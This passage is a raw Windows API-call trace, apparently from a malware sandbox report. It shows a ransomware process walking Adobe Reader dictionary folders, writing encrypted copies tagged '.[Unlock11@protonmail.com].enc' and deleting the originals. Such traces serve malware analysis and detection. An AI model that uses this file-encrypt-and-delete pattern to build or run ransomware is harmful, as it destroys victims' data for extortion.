lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="en_GB", cAlternateFileName="")) returned 1 [0198.569] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="en_US", cAlternateFileName="")) returned 1 [0198.569] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="en_US", cAlternateFileName="")) returned 0 [0198.569] FindClose (in: hFindFile=0x10f7490 | out: hFindFile=0x10f7490) returned 1 [0198.570] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_CA" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_ca")) returned 0x10 [0198.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f350 | out: hHeap=0x2ad0000) returned 1 [0198.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0198.570] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_GB" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_gb")) returned 0x10 [0198.571] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f7d0 | out: hHeap=0x2ad0000) returned 1 [0198.571] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_US" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_us")) returned 0x10 [0198.596] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f230 | out: hHeap=0x2ad0000) returned 1 [0198.596] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0198.596] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_CA\\*.*", lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7550 [0198.597] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0198.597] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x6fa, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="added.txt", cAlternateFileName="")) returned 1 [0198.597] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="excluded.txt", cAlternateFileName="")) returned 1 [0198.597] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="excluded.txt", cAlternateFileName="")) returned 0 [0198.597] FindClose (in: hFindFile=0x10f7550 | out: hFindFile=0x10f7550) returned 1 [0198.598] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_CA\\added.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_ca\\added.txt")) returned 0x20 [0198.598] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0c08 | out: hHeap=0x2ad0000) returned 1 [0198.598] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0198.598] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_CA\\excluded.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_ca\\excluded.txt")) returned 0x20 [0198.598] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d200 | out: hHeap=0x2ad0000) returned 1 [0198.599] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_CA\\added.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_CA\\added.txt", lpFilePart=0x9bada4*="added.txt") returned 0x8f [0198.599] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0198.599] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_CA\\added.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_ca\\added.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x6fa)) returned 1 [0198.599] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367973c | out: pbBuffer=0x367973c) returned 1 [0198.599] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0198.599] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a48a8 [0198.599] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0198.600] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_CA\\added.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_ca\\added.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.600] GetFileType (hFile=0x334) returned 0x1 [0198.601] GetFileType (hFile=0x334) returned 0x1 [0198.601] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.601] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.601] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.601] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.601] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.601] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.601] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.601] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_CA\\added.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_ca\\added.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.602] GetFileType (hFile=0x39c) returned 0x1 [0198.602] GetFileType (hFile=0x39c) returned 0x1 [0198.602] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.602] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.602] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.602] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.603] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.603] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.603] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.605] CloseHandle (hObject=0x39c) returned 1 [0198.605] CloseHandle (hObject=0x334) returned 1 [0198.605] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_CA\\added.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_ca\\added.txt")) returned 1 [0198.606] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_CA\\excluded.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_CA\\excluded.txt", lpFilePart=0x9bada4*="excluded.txt") returned 0x92 [0198.607] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_CA\\excluded.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_ca\\excluded.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x198)) returned 1 [0198.607] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367941c | out: pbBuffer=0x367941c) returned 1 [0198.607] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0198.607] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0198.607] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0198.607] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_CA\\excluded.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_ca\\excluded.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.608] GetFileType (hFile=0x334) returned 0x1 [0198.608] GetFileType (hFile=0x334) returned 0x1 [0198.608] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.608] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.608] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.608] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.608] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.609] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.609] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.609] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_CA\\excluded.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_ca\\excluded.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.609] GetFileType (hFile=0x39c) returned 0x1 [0198.609] GetFileType (hFile=0x39c) returned 0x1 [0198.609] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.610] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.610] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.610] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.610] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.610] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.610] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.612] CloseHandle (hObject=0x39c) returned 1 [0198.612] CloseHandle (hObject=0x334) returned 1 [0198.612] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_CA\\excluded.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_ca\\excluded.txt")) returned 1 [0198.613] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_GB\\*.*", lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f79d0 [0198.613] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0198.614] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xd6a, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="added.txt", cAlternateFileName="")) returned 1 [0198.614] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x92, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="excluded.txt", cAlternateFileName="")) returned 1 [0198.614] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x92, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="excluded.txt", cAlternateFileName="")) returned 0 [0198.614] FindClose (in: hFindFile=0x10f79d0 | out: hFindFile=0x10f79d0) returned 1 [0198.614] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_GB\\added.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_gb\\added.txt")) returned 0x20 [0198.614] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0c08 | out: hHeap=0x2ad0000) returned 1 [0198.615] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38815e8 [0198.615] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_GB\\excluded.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_gb\\excluded.txt")) returned 0x20 [0198.615] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d7a0 | out: hHeap=0x2ad0000) returned 1 [0198.615] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_GB\\added.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_GB\\added.txt", lpFilePart=0x9bada4*="added.txt") returned 0x8f [0198.615] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0198.615] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_GB\\added.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_gb\\added.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xd6a)) returned 1 [0198.616] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367437c | out: pbBuffer=0x367437c) returned 1 [0198.616] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0198.616] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0198.616] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0198.616] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eac38 [0198.616] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_GB\\added.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_gb\\added.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.617] GetFileType (hFile=0x334) returned 0x1 [0198.617] GetFileType (hFile=0x334) returned 0x1 [0198.617] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.617] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.617] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.617] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.617] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.617] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.617] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.618] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_GB\\added.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_gb\\added.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, 